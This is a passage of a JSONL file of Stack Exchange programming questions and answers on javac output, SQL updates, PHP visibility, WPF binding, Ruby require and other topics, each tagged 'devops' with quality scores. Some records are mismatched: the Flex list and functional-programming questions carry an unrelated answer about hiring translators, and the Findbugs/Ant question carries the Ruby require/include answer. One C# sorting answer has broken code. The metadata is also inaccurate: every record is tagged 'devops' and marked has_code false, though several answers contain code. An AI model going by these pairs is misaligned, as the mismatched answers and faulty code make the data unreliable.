a hardware configuration component to compiling, it could take hours. It seems to be more suited to electronic engineers (who are generally the ones who work on FPGAs) than software developers.\nIf you can make CUDA work for you, it's probably the best option at the moment. It will certainly be more flexible than a FPGA.\nOther options include Brook from ATI, but until something big happens, it is simply not as well adopted as CUDA. After that, there's still all the traditional HPC options (clusters of x86/PowerPC/Cell), but they are all quite expensive.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:34.976248"}
{"id": "hf_85dadc3dcdfe", "question": "<p>I'm trying to redirect the java compiler output to a file. \nI thought it's supposed to be:</p>\n\n<pre><code>javac file.java &gt; log.txt\n</code></pre>\n\n<p>or something. Instead, I see all the output on the terminal and nothing in log.txt!</p>\n\n<p>Also, if I want to log errors too, do I do</p>\n\n<pre><code>javac file.java 2&gt;&amp;1 &gt; log.txt\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "```\n```\njavac file.java 2> log.txt\n```\n```\nThe reason is that you have\ntwo\noutput file descriptors instead of one. The usual one is stdout, which you can redirect with > and it's supposed to be used for resulting output. The second one, stderr, is meant for human readable output like warnings, errors, current status etc., this one is redirected with 2>.\nYour second line, using 2>&1, redirects stderr to stdout and finally stdout into log.txt.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.001245"}
{"id": "hf_24fa5b6e2df6", "question": "<p>What is the best way to make the SSRS reporr fit in to PDF page.</p>\n", "question_body": "", "answer": "Next time please indicate what version of SSRS you are working with...\nIf you are careful to design your canvas to certain constraints your should be fine. Typically the PDF is going to emulate a 8.5\" by 11\" piece of paper - considering margins you should keep the width of your report to less than 7\" but I think 6.5\" is best.\nYou can do this by selecting the report itself, the menu in BIDS (VS) should now have a report item which you can select to reveal Report Properties. In the report properties you can select the orientation as well as standard paper sizes and margins. Based on your paper size and your left and right margins you should be able to calculate the maximum width for the body of your report. Back in the report designer select the report body and look at the properties. The object drop down list should specifically say BODY, in this you want to ensure the size of your body (width) is not greater than the Report width minus the margins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.039218"}
{"id": "hf_90a9ee92f6c8", "question": "<p>I get this error during checkout:</p>\n\n<pre><code>cvs checkout: warning: new-born file.java has disappeared\ncvs [checkout aborted]: cannot make directory : No such file or directory\ncvs status: cannot rewrite CVS/Entries.Backup: Permission denied\n</code></pre>\n\n<p>I'm sure I have the proper permissions to this folder and it happens even when I try to check out to a new one. I'm also sure that these files exist in cvs..</p>\n\n<p>my checkout command is:</p>\n\n<pre><code>cvs co -d dir -N -r(num) -r(num)... file file... and so on\n</code></pre>\n\n<p>What does this new-born thing mean?</p>\n", "question_body": "", "answer": "```\nnew-born\n```\nrefers to a file that has been\n```\nadd\n```\n-ed but not\n```\ncommit\n```\n-ted yet, or that\n```\nCVS\n```\nis having trouble getting the file written locally.\nMy guess would be that there is a\n```\n.cvs\n```\ndirectory present that records an\n```\nadd\n```\nbut the file has since been deleted.\nThe additional errors you're seeing relate to permissions in the checkout directory - maybe you don't have write access to the checkout directory,\n```\numask\n```\nis set incorrectly or there is a directory permission inheritance problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.100638"}
{"id": "hf_d58e1f3c24ec", "question": "<p>I am iterating though a TreeSet and printing it out:</p>\n\n<pre><code>while (it.hasNext()) {\n  System.out.println(it.next());\n}\n</code></pre>\n\n<p>output:</p>\n\n<pre><code>after\nexplorers\ngiant\nhoping\ninternet\ninto\n.\n.\n.\nvirtual \nworld\n</code></pre>\n\n<p>However, I would like to <i>only</i> print out those strings who's first character is within the range m-z. I have been playing around with java.util.regex, with no success:</p>\n\n<pre><code>String pattern = \"[^m-z]\";\n</code></pre>\n\n<p>Do I have the right idea here? Or is there a simpler way of doing this? All I want to do is make sure I <strong>only print out those Strings in the TreeSet who's first character is within the range m-z.</strong></p>\n", "question_body": "", "answer": "seems like an homework but anyhow,\nthe \"[^m-z]\" means NOT m-z\ntry putting the \"^\" outside the \"[]\"\nHave a look at the\nPattern\nclass\nand BTW, try\n```\nString.matches()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.149618"}
{"id": "hf_62ddf2854690", "question": "<p>How can we write an update sql statement that would update records and the 'set' value changes every time?</p>\n\n<p>For example:\nIf we have records like this</p>\n\n<pre><code>SomeNumber SomeV CurCode WhatCodeShouldBe\n200802754 432 B08 B09\n200802754 432 B08 B09\n200802754 432 B08 B09\n200808388 714 64B C00\n200804119 270 64B C00\n</code></pre>\n\n<p>I wish to update each 'SomeNumber' record so that 'CurCode' will be same as 'WhatCodeShouldBe'</p>\n\n<p>Thanks for any help!</p>\n", "question_body": "", "answer": "```\nUPDATE yourtable SET CurCode = WhatCodeShouldBe\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.243897"}
{"id": "hf_4964e8e3a7c6", "question": "<p>Each of these variables has an integer value.  But this syntax is not valid for some reason:</p>\n\n<pre><code>&lt;xsl:when test=\"$nextAnswerListItemPos &lt; $nextQuestionStemPos\" &gt;\n</code></pre>\n", "question_body": "", "answer": "You have to use\n```\n&lt;\n```\ninstead of\n```\n<\n```\nand\n```\n&gt;\n```\ninstead of\n```\n>\n```\n, because those are reserved characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.268041"}
{"id": "hf_094a4cd0d076", "question": "<p>Is there some equivalent of \"friend\" or \"internal\" in php? If not, is there any pattern to follow to achieve this behavior? </p>\n\n<p><strong>Edit:</strong>\nSorry, but standard Php isn't what I'm looking for. I'm looking for something along the lines of what ringmaster did.</p>\n\n<p>I have classes which are doing C-style system calls on the back end and the juggling has started to become cumbersome. I have functions in object A which take in object B as a parameter and have to call a method in object B passing in itself as an argument. The end user could call the method in B and the system would fall apart.</p>\n", "question_body": "", "answer": "I'm pretty sure what you're looking for is \"protected\" or \"private\", depending on your use case.\nIf you're defining an function in a class, and you only want it available to itself, you'll define it this way:\n```\n```\nprivate function foo($arg1, $arg2) { /*function stuff goes here */ }\n```\n```\nIf you're defining a function in a class that you want to be available to classes which inherit from this class, but not available publicly, definite it this way:\n```\n```\nprotected function foo($arg1, $arg2)\n```\n```\nI'm pretty sure that by default in PHP5, functions are public, meaning you don't have to use the following syntax, but it's optional:\n```\n```\npublic function foo($arg1, $arg2) { /*function stuff goes here */ }\n```\n```\nYou'll still have to instantiate the object before using a public function.  So I'll just be thorough and let you know that in order to use a function in a class without instantiating an object, be sure to use the following syntax:\n```\n```\nstatic function foo($arg1, $arg2) { /*function stuff goes here */ }\n```\n```\nThat will allow you to use the function by only referencing the class, as follows:\n```\n```\nMyClass::foo($a1, $a2);\n```\n```\nOtherwise, you'll need to do the following:\n```\n```\n$myObject = new MyClass();\n$myObject->foo($a1, $a2);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.292432"}
{"id": "hf_61291552e355", "question": "<p>I've got a few dozen Linux machines running <code>cron</code> and I'd like to put the crontabs in some sort of revision control system.  For source control I use Mercurial (<code>hg</code>), so that'd be ideal, but if there's some other system that is better suited to this task I'd consider it.</p>\n\n<p>One aspect which is specific to my situation is that all the crontabs belong to a common user (not a real person, but a placeholder \"services\" login).  I'd like the revision history to include the actual author of each change, rather than the special account where the cron jobs actually run.</p>\n", "question_body": "", "answer": "http://joey.kitenet.net/code/etckeeper/\n?\nFrom that site:\netckeeper is a collection of tools to let /etc be stored in a git, mercurial, darcs, or bzr repository. It hooks into apt (and other package managers including yum and pacman-g2) to automatically commit changes made to /etc during package upgrades. It tracks file metadata that revison control systems do not normally support, but that is important for /etc, such as the permissions of\n```\n/etc/shadow\n```\n. It's quite modular and configurable, while also being simple to use if you understand the basics of working with revision control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.376549"}
{"id": "hf_bf4b03232de0", "question": "<p>For some reason my code won't work.</p>\n\n<pre><code>    from tan in TANS\n    where tan.ID.ToString().Count() != 1\n    select tan\n</code></pre>\n\n<p>I want to select all IDs that are duplicates in a table so I am using the count != 1 and I get this error.</p>\n\n<p>NotSupportedException: Sequence operators not supported for type 'System.String'</p>\n\n<p>Help please?</p>\n", "question_body": "", "answer": "```\ntan.ID.ToString()\n```\nis a string, not a collection so you can't apply Count().\nI believe you want something like:  (This syntax is wrong, but close)\n```\n```\nfrom tan in TANS\ngroup tan by tan.ID into dups\nwhere dups.Count() > 1\nselect dups.Key;\n```\n```\nUpdate (after 5 years minus 5 days): (It's a bit weird to Google a problem and find an answer YOU wrote ..) At the core of this problem is the the LINQ statement is trying to build an SQL statement, and the database doesn't know how to apply Count() to a string.  However, if you use LINQ against a collection in memory, then it would treat the string as an IEnumerable and the Count() would work just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.425858"}
{"id": "hf_1247d34bbb2e", "question": "<p>I am developing on a LAMP(erl) stack and know of several ways to store obscured passwords.  I'd like to hear from those who feel they have a best practice, given MySQL 4.1.1 and Perl 5.8, and the reasons why it's the best.</p>\n\n<p>One option I have read about, using the MySQL ENCODE() and DECODE() functions, sounds pretty good to me... your thoughts?</p>\n", "question_body": "", "answer": "Well, since there's a\n```\nDECODE()\n```\nfunction, I'd say no, for the simple fact that you probably want to store the password in hashed form, to prevent anyone obtaining your database/password file from casually reading passwords.\nI'd recommend going with the classic salted hash method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.548064"}
{"id": "hf_5ad9bcd710bc", "question": "<p>I have just realized I've been coercing binding/dependency properties and not really fundamentally understanding the concept.</p>\n\n<p>Heres the dependency property:</p>\n\n<pre><code>public string Problem\n{\n    get { return (string)GetValue(ProblemProperty); }\n    set { SetValue(ProblemProperty, value); }\n}\n\npublic static readonly DependencyProperty ProblemProperty =\n    DependencyProperty.Register(\n    \"Problem\",\n    typeof(string),\n    typeof(TextBox));\n</code></pre>\n\n<p>The XAML is as so:</p>\n\n<pre><code>&lt;TextBlock Text=\"{Binding Path=Problem}\"/&gt;\n</code></pre>\n\n<p>I'm manually setting the <code>Problem</code> property to a value in the constructor of the object but it doesn't update the <code>TextBlock</code> accordingly . . . any ideas? I've tried <code>Mode=\"OneWay\"</code> and <code>Mode=\"TwoWay\"</code> on the binding and it still doesn't work.</p>\n\n<p>I thought this was supposed to work automatically? Or am i fundamentally getting something wrong?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The problem your having is definitely related to your DataContext. The {Binding} extension needs to know where the property lives that you are binding to. The default location it looks at is the elements DataContext which by default is always set to the DataContext of it's parent element. If you walk the DataContext up the logical tree to the parent window, The DataContext would be null (because the DataContext of your window is null). Therefore your {Binding} on your textblock is saying \"Bind my Text property to the Problem roperty of my DataContext...which is null.\nThere are a couple of ways to solve this. One would be to do just like Jobi mentioned and set the Element property of you binding to point to the Window where the DependencyProperty is defined like this:\n```\n```\n<TextBlock Text=\"{Binding Path=Problem,ElementName=_window}\" />\n```\n```\nAnother option would be to set the DataContext of your Window to point to itself. That way all the elements contained in it's content will all have the DataContext of the window.\n```\n```\n<Window ....\n        DataContext=\"{Binding RelativeSource={RelativeSource Self}}\">\n```\n```\nNow anytime you need to binding to properties defined in the window (like your Problem dependency property), then you can just do this:\n```\n```\n<TextBlock Text=\"{Binding Problem}\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.571964"}
{"id": "hf_8129fa9b4468", "question": "<p>In the admin section of a website i am building i would like to put together a dashboard page, or 'quick look' type page where the most recent changes/additions/etc in several different areas can be viewed.</p>\n\n<p>I was thinking the best way to do this would be to use partials and have each partial contain the markup for the data i need to display. </p>\n\n<p>My question is, is this the best approach? and if so, how do i separate the logic and presentation of these partials? For instance how do i put the logic in the dashboard controller, but keep the presentation in the partial rhtml?</p>\n", "question_body": "", "answer": "Partials are definitely the way to go, especially when you can pass in arbitrary data into them to make them do stuff. To answer your logic separation issue specifically, you would use:\n```\n```\n<%= render :partial => \"name_of_partial\", :locals => { :some_var => @data_from_model } %>\n```\n```\nThen, inside your partial, you'd have access to @data_from_model via the some_var variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.632455"}
{"id": "hf_ca58d93f92b8", "question": "<p>Not sure what's going on here.</p>\n\n<p>I have a DateTime object, and when I try:</p>\n\n<pre><code>String.Format( \"{0:dd/MM/yyyy}\", _date)\n</code></pre>\n\n<p>the value returned is:</p>\n\n<pre><code>\"24-05-1967\"\n</code></pre>\n\n<p>What I want is</p>\n\n<pre><code>\"24/05/1967\"\n</code></pre>\n\n<p>Can anyone explain why my format string is being ignored? </p>\n\n<p>A bit more background:\nThis is a web app which started out life as .net 1.1, and I'm in the process of moving it up to 2.0/3.5.  </p>\n\n<p>Update:</p>\n\n<p>If I change the format to {0:dd:MM:yyyy}, it returns 24:05:1967 - it's only the / in the format string that gets changed to the - char.</p>\n\n<hr>\n\n<p>Resolution:</p>\n\n<p>When updating the app to run under 2.0, the asp.net globalization settings were messed up.  </p>\n\n<p>From the web site properties, ASP.NET tab, Edit Configuration, Application Tab - the culture and UI Culture were both set to the first item in the list (af-ZA) for some bizarre reason. </p>\n", "question_body": "", "answer": "You likely want to use the\nToString()\nmethod of your DateTime object to get the string representation you are after. A format string of\n\"dd'/'MM'/'yyyy\"\nwill give you the format you described. Note that you need to escape literal characters in the format string using single quotes.\nExample:\n```\nDateTime.Now.ToString(\"dd'/'MM'/'yyyy\");\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.680739"}
{"id": "hf_45321729679c", "question": "<p>How do I setup a class that represents an interface?  Is this just an abstract base class?</p>\n", "question_body": "", "answer": "Make a class with pure virtual methods. Use the interface by creating another class that overrides those virtual methods.\nA pure virtual method is a class method that is defined as virtual and assigned to 0.\n```\n```\nclass IDemo\n{\n    public:\n        virtual ~IDemo() {}\n        virtual void OverrideMe() = 0;\n};\n\nclass Child : public IDemo\n{\n    public:\n        virtual void OverrideMe()\n        {\n            // do stuff\n        }\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.705109"}
{"id": "hf_d7b8088608cb", "question": "<p>Let's say we're tracking the end-user IP for a web service:</p>\n\n<pre><code>ip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")\nIf ip = \"\" Then\n    ip = Request.ServerVariables(\"REMOTE_ADDR\")\nEnd If\n</code></pre>\n\n<p>I've read that this is the best method of retrieving end-user IP because it works even for users on a transparent proxy.</p>\n\n<p>If we're using the end-user IP address to filter malicious users, are there are any security implications with the above method instead of, say, just using Request.ServerVariables(\"REMOTE_ADDR\")?</p>\n\n<p>For example, if we banned a malicious user by end-user IP, could they easily change their IP via a proxy and continue using our web service?</p>\n\n<p>Thanks in advance for your help.</p>\n", "question_body": "", "answer": "```\nREMOTE_ADDR\n```\nis generated by the web server based on the connection from the client.\n```\nHTTP_X_FORWARDED_FOR\n```\nis based on a HTTP header sent by the client.\nYou can't trust input from the client, particularly input that is easily faked, such as HTTP headers.  Clients can stick\nanything\ninto that\n```\nHTTP_X_FORWARDED_FOR\n```\nheader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.759767"}
{"id": "hf_39f5f3cdcc3a", "question": "<p>Simple question:</p>\n\n<p>How do I do this on one line:</p>\n\n<pre><code>my $foo = $bar-&gt;{baz};\nfizz(\\$foo);\n</code></pre>\n\n<p>I've tried \\$bar->{baz}, \\${$bar->{baz}}, and numerous others.  Is this even possible?</p>\n\n<p>-fREW</p>\n\n<p><strong>Update</strong>: Ok, the hashref is coming from DBI and I am passing the scalar ref into template toolkit.  I guess now that I look more closely the issue is something to do with how TT does all of this.  Effectively I want to say:</p>\n\n<pre><code>$template-&gt;process(\\$row-&gt;{body}, $data);\n</code></pre>\n\n<p>But TT doesn't work that way, TT takes a scalar ref and puts the data there, so I'd have to do this:</p>\n\n<pre><code>$template-&gt;process(\\$row-&gt;{body}, $shopdata, \\$row-&gt;{data});\n</code></pre>\n\n<p>Anyway, thanks for the help.  I'll at least only have one reference instead of two.</p>\n", "question_body": "", "answer": "I am not even sure what you are doing.\nYou also should put quotes around baz.\nNow let's consider that you assign a scalar to the scalar in the first line then the second line should work.\nHowever I don't really know if this is what you are trying here and it does not really make sense in Perl.\nUsing references is often used in other languages to\nspeed up a function call\nallow multiple values to be returned.\nNow the first is usually not needed with scalars and anyway Perl is a script language so if you are really concerned about speed write C.\nThe second is not needed in Perl as you can return lists and references to anonymous hashes quite easy.\nHave you looked at \"man perlref\"?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.797703"}
{"id": "hf_a484fc6807c1", "question": "<p>I have a generic list of objects in C#, for example sake, here's what the object might be.</p>\n\n<pre><code>public class Thing {\n    public string Name { get; set; }\n    public DateTime EditDate { get; set; }\n}\n\nvar things = new List&lt;Thing&gt;();\n</code></pre>\n\n<p>Now I want to call:</p>\n\n<pre><code>thing.Sort((t1, t2) =&gt; t1.EditDate.CompareTo(t2.EditDate));\n</code></pre>\n\n<p>However, some of my EditDate properties are null.  I want these objects with a null EditDate property to show up at the top of my list (i.e. closer to the zero index).  How can I do this?</p>\n", "question_body": "", "answer": "List has a\nsort function\nthat takes a delegate.\nNow that I've read the question\n```\n```\nTheList.Sort(int delegate(Type a, Type b)\n{\n    if (a.memeber == null) return -1;\n    if (b.memeber == null) return 1;\n    if (a.memeber<b.memeber) return -1;\n    if (b.memeber<a.memeber) return 1;\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.841547"}
{"id": "hf_edbe18f15141", "question": "<p>I have to do some work for college and my professor likes to torture us with Nassi-Shneiderman diagrams. </p>\n\n<p>Has anyone a good editor/graphcial tool to draw these? Requirements:</p>\n\n<ul>\n<li>cross platform (or able to run within wine)</li>\n<li>open source (or a least free to for private use)</li>\n</ul>\n\n<p>--</p>\n\n<p>After considering some editors, I ended up by using Strutorizer from <a href=\"http://structorizer.fisch.lu/\" rel=\"nofollow noreferrer\">http://structorizer.fisch.lu/</a></p>\n\n<p>It hasn't the best usability but it's good enough. And it's written in Java.</p>\n", "question_body": "", "answer": "You can download a free trial copy of\nSmartDraw\n, which can edit Nassi-Schneiderman diagrams, or there's the free\nNassi-Shneiderman Diagram-Editor\n.\nEDIT:\nHow to draw Nassi-Shneiderman diagrams with SmartDraw", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.870245"}
{"id": "hf_c94e0b774a7b", "question": "<p>I have developed a web application using internationalization best practices such as putting all my displayable strings in property files, etc, etc.</p>\n\n<p>I would like to have the strings in the property files translated into 5 different languages.</p>\n\n<p>Does anyone have any experience using Mechanical Turk or another crowd sourcing service for language translation?  </p>\n\n<p>The reason I don't want to just hire a translation company or service is because I want to eventually have ongoing content fed into the translation service via an API.</p>\n\n<p>My Google results for more information on this topic were surprisingly dismal.  Any links or pointers are appreciated.</p>\n", "question_body": "", "answer": "I don't have any experience crowd-sourcing translations, but my advice would be to find some dependable freelance translators in your target languages (check out Proz.com), and keep going back to them every time you have new content. Application UIs are notoriously difficult to localize because of lack of context in the resource files, and so you want someone who understands the application and is able/willing to test the localized version. Each of the localizations will undoubtedly reveal i18n bugs as well, so there is likely to be a bit of back and forth the first time around. I guess my point is that you don't want arms-length relationships with your translators; they should feel like an extension of your team.\nAnyway, bravo for internationalizing your application. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.906770"}
{"id": "hf_edbac3745db4", "question": "<p>I have a list control in Flex that has been data bound to an e4x xml object from an HTTPService. </p>\n\n<p>I would now like to have a button that clears the list, how can I do this?</p>\n\n<p>I have tried:</p>\n\n<pre>\n<code>\nlist.dataProvider = null;\n</code>\n</pre>\n\n<p>which does not seem to work, I have also tried:</p>\n\n<pre>\n<code>\nlist.dataProvider = {};\n</code>\n</pre>\n\n<p>which clears the items but leaves [object,object] as the first item in the list...</p>\n", "question_body": "", "answer": "I don't have any experience crowd-sourcing translations, but my advice would be to find some dependable freelance translators in your target languages (check out Proz.com), and keep going back to them every time you have new content. Application UIs are notoriously difficult to localize because of lack of context in the resource files, and so you want someone who understands the application and is able/willing to test the localized version. Each of the localizations will undoubtedly reveal i18n bugs as well, so there is likely to be a bit of back and forth the first time around. I guess my point is that you don't want arms-length relationships with your translators; they should feel like an extension of your team.\nAnyway, bravo for internationalizing your application. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.931324"}
{"id": "hf_8122c5bdcc0e", "question": "<p>As I continue my quest of learning functional programming, I've come\nto wonder if there may be alternatives to my default \"procedural\" way\nof thinking. To be more specific, I'm looking at a function I\nwrote. Here is what it does:</p>\n\n<pre><code>Swap two elements of an unordered list of numbers, such that one of the elements  \n is now in the right place\nAdd the sum of the swapped values to an accumulated total   \nRepeat until list is sorted\n</code></pre>\n\n<p>So, right now I'm using a standard loop* with an accum variable to do\nthe above. It works fine and all, and there's certainly nothing wrong\nwith iteration in real life, but as the point of this exercise is to\nexpand my way of thinking, I'm curious if there is a more functional\napproach to the above algorithm. </p>\n\n<p>Thanks!</p>\n\n<p>*(Actually recursion, but whatever)</p>\n", "question_body": "", "answer": "I don't have any experience crowd-sourcing translations, but my advice would be to find some dependable freelance translators in your target languages (check out Proz.com), and keep going back to them every time you have new content. Application UIs are notoriously difficult to localize because of lack of context in the resource files, and so you want someone who understands the application and is able/willing to test the localized version. Each of the localizations will undoubtedly reveal i18n bugs as well, so there is likely to be a bit of back and forth the first time around. I guess my point is that you don't want arms-length relationships with your translators; they should feel like an extension of your team.\nAnyway, bravo for internationalizing your application. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.955457"}
{"id": "hf_828782e27fbf", "question": "<p>Sometimes software installers force you to scroll to the end of the EULA before the “I agree” box is enabled.  How can I produce the same effect on a web page?</p>\n", "question_body": "", "answer": "```\n```\n<html>\n    <head>\n        <script type=\"text/javascript\">\n            function setupPage() {\n                var agreement = document.getElementById(\"agreetext\");\n                var visibleHeight = agreement.clientHeight;\n                var scrollableHeight = agreement.scrollHeight;\n                if (scrollableHeight > visibleHeight) {\n                    var checkbox = document.getElementById(\"agreebox\");\n                    checkbox.checked=false;\n                    checkbox.disabled=true;\n                    agreement.onscroll = handleScroll;\n                }\n            }\n\n            function handleScroll() {\n                var agreement = document.getElementById(\"agreetext\");\n                var visibleHeight = agreement.clientHeight;\n                var scrollableHeight = agreement.scrollHeight;\n                var position = agreement.scrollTop;\n                if (position + visibleHeight == scrollableHeight) {\n                    document.getElementById(\"agreebox\").disabled=false;\n                }\n            }\n        </script>\n    </head>\n    <body>\n        <form>\n            <textarea id=\"agreetext\" rows=\"8\" cols=\"40\">Long agreement</textarea>\n            <br/><br/>\n            <input type=\"checkbox\" id=\"agreebox\" value=\"true\"/> <label id=\"agreelabel\" for=\"agreebox\">I agree</label>\n            <br/><br/>\n            <input type=\"submit\" value=\"Continue\"/>\n        </form>\n        <script type=\"text/javascript\">\n            // We put this at the end of the page rather than in an document.onload\n            // because the document.onload event doesn't fire until all images have loaded.\n            setupPage();\n        </script>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:35.980030"}
{"id": "hf_aad81edc7590", "question": "<p>My question is similar to \"<a href=\"https://stackoverflow.com/questions/156362/what-is-the-difference-between-include-and-extend-in-ruby\">What is the difference between include and extend in Ruby?</a>\".</p>\n\n<p>What's the difference between <code>require</code> and <code>include</code> in Ruby?  If I just want to use the methods from a module in my class, should I <code>require</code> it or <code>include</code> it?</p>\n", "question_body": "", "answer": "What's the difference between\n  \"include\" and \"require\" in Ruby?\nAnswer:\nThe include and require methods do\n  very different things.\nThe require method does what include\n  does in most other programming\n  languages: run another file. It also\n  tracks what you've required in the\n  past and won't require the same file\n  twice. To run another file without\n  this added functionality, you can use\n  the load method.\nThe include method takes all the\n  methods from another module and\n  includes them into the current module.\n  This is a language-level thing as\n  opposed to a file-level thing as with\n  require. The include method is the\n  primary way to \"extend\" classes with\n  other modules (usually referred to as\n  mix-ins). For example, if your class\n  defines the method \"each\", you can\n  include the mixin module Enumerable\n  and it can act as a collection. This\n  can be confusing as the include verb\n  is used very differently in other\n  languages.\nSource\nSo if you just want to use a module, rather than extend it or do a mix-in, then you'll want to use\n```\nrequire\n```\n.\nOddly enough, Ruby's\n```\nrequire\n```\nis analogous to C's\n```\ninclude\n```\n, while Ruby's\n```\ninclude\n```\nis almost nothing like C's\n```\ninclude\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:36.008858"}
{"id": "hf_a4e1b2366905", "question": "<p>How do I setup an Ant task to generate a Findbugs report when the source folder has many jars in it?</p>\n\n<p>I'm looking for a worked example of the ant task required to output the fancy HTML from a folder containing multiple jars</p>\n", "question_body": "", "answer": "What's the difference between\n  \"include\" and \"require\" in Ruby?\nAnswer:\nThe include and require methods do\n  very different things.\nThe require method does what include\n  does in most other programming\n  languages: run another file. It also\n  tracks what you've required in the\n  past and won't require the same file\n  twice. To run another file without\n  this added functionality, you can use\n  the load method.\nThe include method takes all the\n  methods from another module and\n  includes them into the current module.\n  This is a language-level thing as\n  opposed to a file-level thing as with\n  require. The include method is the\n  primary way to \"extend\" classes with\n  other modules (usually referred to as\n  mix-ins). For example, if your class\n  defines the method \"each\", you can\n  include the mixin module Enumerable\n  and it can act as a collection. This\n  can be confusing as the include verb\n  is used very differently in other\n  